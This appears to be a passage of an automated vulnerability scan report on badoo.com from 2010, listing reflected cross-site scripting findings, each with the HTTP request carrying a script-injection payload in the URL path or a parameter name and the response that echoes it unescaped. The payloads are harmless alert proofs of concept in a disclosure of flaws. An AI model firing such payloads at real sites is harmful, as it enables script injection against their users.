GET /01927835550e39"><script>alert(1)</script>68bd8aa68f6/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:56:21 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:20 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5725
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/01927835550e39"><script>alert(1)</script>68bd8aa68f6/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f81bb"><script>alert(1)</script>056a54f481a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /02311783f81bb"><script>alert(1)</script>056a54f481a/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:54 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:53 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5709
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/02311783f81bb"><script>alert(1)</script>056a54f481a/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3a82"><script>alert(1)</script>1efc28fead3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /041636801d3a82"><script>alert(1)</script>1efc28fead3/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:23:48 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 6365
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/041636801d3a82"><script>alert(1)</script>1efc28fead3/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44711"><script>alert(1)</script>a25734c99d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /0930302744711"><script>alert(1)</script>a25734c99d8/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:54:05 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:04 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5709
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/0930302744711"><script>alert(1)</script>a25734c99d8/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17b57"><script>alert(1)</script>e04806f6ef9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /09340764417b57"><script>alert(1)</script>e04806f6ef9/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:13 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:12 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5725
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/09340764417b57"><script>alert(1)</script>e04806f6ef9/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce2c4"><script>alert(1)</script>65d075ed674 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /096807871ce2c4"><script>alert(1)</script>65d075ed674/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:35 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:34 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5725
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/096807871ce2c4"><script>alert(1)</script>65d075ed674/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5f01"><script>alert(1)</script>c4f194e31c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2rcabrerab5f01"><script>alert(1)</script>c4f194e31c4/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:52:39 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:38 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5725
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/2rcabrerab5f01"><script>alert(1)</script>c4f194e31c4/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd1f0"><script>alert(1)</script>2f8a7e1a0fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aammetysdd1f0"><script>alert(1)</script>2f8a7e1a0fb/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:52 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:51 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5709
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/aammetysdd1f0"><script>alert(1)</script>2f8a7e1a0fb/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d5c3"><script>alert(1)</script>d26d9cf6f09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about5d5c3"><script>alert(1)</script>d26d9cf6f09/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:58 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:57 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5661
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/about5d5c3"><script>alert(1)</script>d26d9cf6f09/?lang_id=5"> ...[SNIP]...
3.16. http://badoo.com/about/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/about/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55ffd"><script>alert(1)</script>4061df37053 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /about/?55ffd"><script>alert(1)</script>4061df37053=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:55:46 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:45 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 7386
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/about/?lang_id=5&55ffd"><script>alert(1)</script>4061df37053=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d225e"><script>alert(1)</script>eed1237a255 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /andresitopapitod225e"><script>alert(1)</script>eed1237a255/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:56:43 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:42 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5821
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/andresitopapitod225e"><script>alert(1)</script>eed1237a255/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e269"><script>alert(1)</script>00714dfd71a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /association8e269"><script>alert(1)</script>00714dfd71a/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:56:23 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:22 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5757
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/association8e269"><script>alert(1)</script>00714dfd71a/?lang_id=5"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a27e"><script>alert(1)</script>439270dfe2f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dating8a27e"><script>alert(1)</script>439270dfe2f/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:58:16 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:58:15 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5677
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/dating8a27e"><script>alert(1)</script>439270dfe2f/?lang_id=5"> ...[SNIP]...
3.20. http://badoo.com/dating/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/dating/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0e5e"><script>alert(1)</script>17a4df24d25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dating/?a0e5e"><script>alert(1)</script>17a4df24d25=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:57:22 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:21 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 25729
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/dating/?lang_id=5&a0e5e"><script>alert(1)</script>17a4df24d25=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54fdf"><script>alert(1)</script>8916a6df4a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dinoitalia54fdf"><script>alert(1)</script>8916a6df4a5/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 404 Not Found Server: nginx/0.8.53 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:51:40 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:39 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 5741
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo ...[SNIP]... <a href="http://badoo.com/dinoitalia54fdf"><script>alert(1)</script>8916a6df4a5/?lang_id=5"> ...[SNIP]...
3.22. http://badoo.com/dinoitalia/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://badoo.com
Path:
/dinoitalia/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8094c"><script>alert(1)</script>3604b8c42d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dinoitalia/?8094c"><script>alert(1)</script>3604b8c42d8=1 HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
